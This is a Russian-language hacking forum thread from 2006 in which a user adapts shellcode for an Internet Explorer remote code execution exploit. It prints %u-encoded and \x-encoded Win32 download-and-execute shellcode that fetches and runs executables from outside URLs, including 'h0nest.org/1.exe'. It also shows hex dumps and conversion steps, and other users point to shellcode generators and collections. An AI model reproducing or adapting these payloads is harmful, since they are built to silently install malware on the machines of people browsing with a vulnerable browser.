Шеллкод Ie

Discussion in 'Безопасность и Анонимность' started by Mastermind, 20 Jun 2006.

  1. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    На примере статьи: http://www.securitylab.ru/poc/extra/242256.php
    Code:
    //
    // Search for our shellcode (tagged with my initials) and copy to a more stable area
    //
    prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190" +
    "%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +
    "%u002d%ua5F3%u9090%u905f%ue7ff")
    
    //
    // Harmless Calc.exe
    //
    shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
    "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
    "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
    "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
    "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
    "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
    "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
    "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
    "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
    "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
    "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
    "%uCC4A%uD0FF")
    Собственно мой вопрос: каким образом генерируется шеллкод? К примеру, я хочу вместо вызова калькулятора вызывать другое приложение.
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    http://www.xakep.ru//magazine/xa/085/050/1.asp

    читай стэпа -) + http://someshit.nm.ru/shellcode_collection/Win32%20download%20&%20exec%20shellcode.txt
     
  3. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    Теперь такая проблема: беру за основу win32 шеллкод (пробовал его скомилировать - работает без проблем):
    PHP:
    "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
    "\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
    "\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
    "\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
    "\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
    "\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
    "\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
    "\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
    "\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
    "\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
    "\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
    "\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
    "\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"
    "http://h0nest.org/1.exe"
    У меня есть декодер %uYYXX -> binary. Написал несложную програмку для преобразования \xXX\xYY -> %uYYXX. Декодером получил бинарик. Последнюю строку с URL не учитывал - просто удалил ее. Результат (HEX представление):
    PHP:
    EB548B753C8B74357803F5568B762003
    F533C94941AD33DB360FBE142838F274
    08C1CB0D03DA40EBEF3BDF75E75E8B5E
    2403DD668B0C4B8B5E1C03DD8B048B03
    C5C375726C6D6F6E2E646C6C20433A5C
    552E6578652033C064034030780C8B40
    0C8B701CAD8B4008EB098B40348D407C
    8B403C95BF8E4E0EECE884FFFFFF83EC
    04832C243CFFD09550BF361A2F70E86F
    FFFFFF8B5424FC8D52BA33DB535352EB
    2453FFD05DBF98FE8A0EE853FFFFFF83
    EC04832C2462FFD0BF7ED8E273E840FF
    FFFF52FFD0E8D7FFFFFF
    Результат (представление в блокноте):
    PHP:
    лT‹u<‹t5xхV‹v х3ЙIA*3Ы6ѕ(8тtБЛ
    Ъ
    @лп;Яuз^^$Эf‹K‹^Э‹‹ЕГurlmon.dll C:\U.exe 3Аd@0x‹@‹p*@л    ‹@@|@<•їЋNми„яяяѓмѓ,$<яР•Pї6/pиoяяя‹T$ьЌRє3ЫSSRл$SяР]ї?юЉиSяяяѓмѓ,$bяРї~Швsи@яяяRяРиЧяяя
    Посмотрел на то как добавляется линк в Win32 шеллкоде просто дописал в Блокноте в конец бинарика линк (даже взял ту же длину линка, чтобы не ошибиться). Попробовал тестером шеллкодов запустить бинарик - облом, ошибка. Перекодировал бинарик в вид %uYYXX с помощью Multi-Format Shellcode Encoding Tool Beta 2. Подставил в IE шеллкод (Window() Remote Code Execution 0day). ИЕ вылетает с ошибкой. Хотя шеллкода запуска калькулятора работал.
    Кто поможет разобраться?
     
    1 person likes this.
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    шэлкод 100% рабочий
     
  5. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    вот отсюда еще брал исходник даунлоадера. компилировал таким образом:
    nasmw -fbin -o iashellcode.s iashellcode.asm
    ссылку подставил свою той же длины (хотя можно было последовать указаниям, данным в конце исходника). В результате получил бинарик iashellcode.s. Пробую запустить через тестер - опять ошибка. Перекодирую в шеллкод IE:
    PHP:
    "%uEBCC%u5F3C%u8955%u81E5%uE8C4%uFFFF%u57FF%uDB31" +
    "%u07B3%uFFB0%uF2FC%uFEAE%uFF47%uCBFE%uFB80%u7501" +
    "%u5FF4%u8D57%u0B7F%u8D57%u137F%u8D57%u087F%u8D57" +
    "%u237F%u8D57%u097F%u5747%u548D%u1424%uEB52%uEB02" +
    "%u8952%uFFD6%uFF36%uDC15%u0251%u5A10%u8D52%uFC72" +
    "%u36FF%uFF50%u1415%u0252%u5A10%u3152%u51C9%u8D51" +
    "%uF072%u36FF%u728D%uFFF4%u5136%uD0FF%u525A%u72FF" +
    "%uFFEC%uDC15%u0251%u5A10%u8D52%uF872%u36FF%uFF50" +
    "%u1415%u0252%u5A10%u3152%u41C9%u8D51%uF072%u36FF" +
    "%uD0FF%uE8CC%uFF6B%uFFFF%u5255%u4D4C%u4E4F%u442E" +
    "%u4C4C%u55FF%u4C52%u6F44%u6E77%u6F6C%u6461%u6F54" +
    "%u6946%u656C%uFF41%u6957%u456E%u6578%uFF63%u7468" +
    "%u7074%u2F3A%u7A2F%u6E6F%u2D64%u2E72%u7572%u662F" +
    "%u6C69%u2F65%u6F64%u6E77%u6F6C%u6461%u652E%u6578" +
    "%u63FF%u5C3A%u636E%u652E%u6578%u6BFF%u7265%u656E" +
    "%u336C%u2E32%u6C64%uFF6C"
    Подставляю в эксплойт. ИЕ опять вылетает с ощибкой. Помогите разобраться, что я делаю неправильно.
     
  6. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    попробуй вин32 шелкод конструктор http://freenet.am/~yaki/shcd.zip
     
  7. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    В общем использовал генератор шеллкодов, представленный в Metasploit Framework (Win32 Download and Execute). Шеллкоды выдаются в виде \xXX\xYY. Преобразовал в вид %uYYXX, а затем пропустил через кодировщик %uYYXX -> binary. Запустил этот бинарик через тестер - ЗАРАБОТАЛО! Но предел моей радости оказался исчерпан, когда этот шеллкод (в виде %uYYXX) отказался работать в данном эксплойте. IE банально вылетал с ошибкой. Предложения/замечания?
     
  8. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    В общем разобрался... http://foro.elhacker.net/index.php?topic=95821.45
     
  9. Mastermind

    Mastermind Elder - Старейшина

    Joined:
    21 Jul 2005
    Messages:
    50
    Likes Received:
    4
    Reputations:
    5
    http://scsnow.nm.ru/shellcodes.rar
    Может кому понадобятся в нелегком труде освоения шеллкодов утилиты перекодировщики, которые я использовал выше
     
  10. Darkwayder

    Darkwayder Elder - Старейшина

    Joined:
    20 May 2006
    Messages:
    35
    Likes Received:
    2
    Reputations:
    0
    Брат не будет логина и пароля левого. А то зарегестрироваться не могу :(.
     
  11. OFF1genny_su1c1D

    OFF1genny_su1c1D New Member

    Joined:
    29 Apr 2006
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Пишешь прогу на асме, открываешь хекс-редактором и...
    ...и видишь шел-код.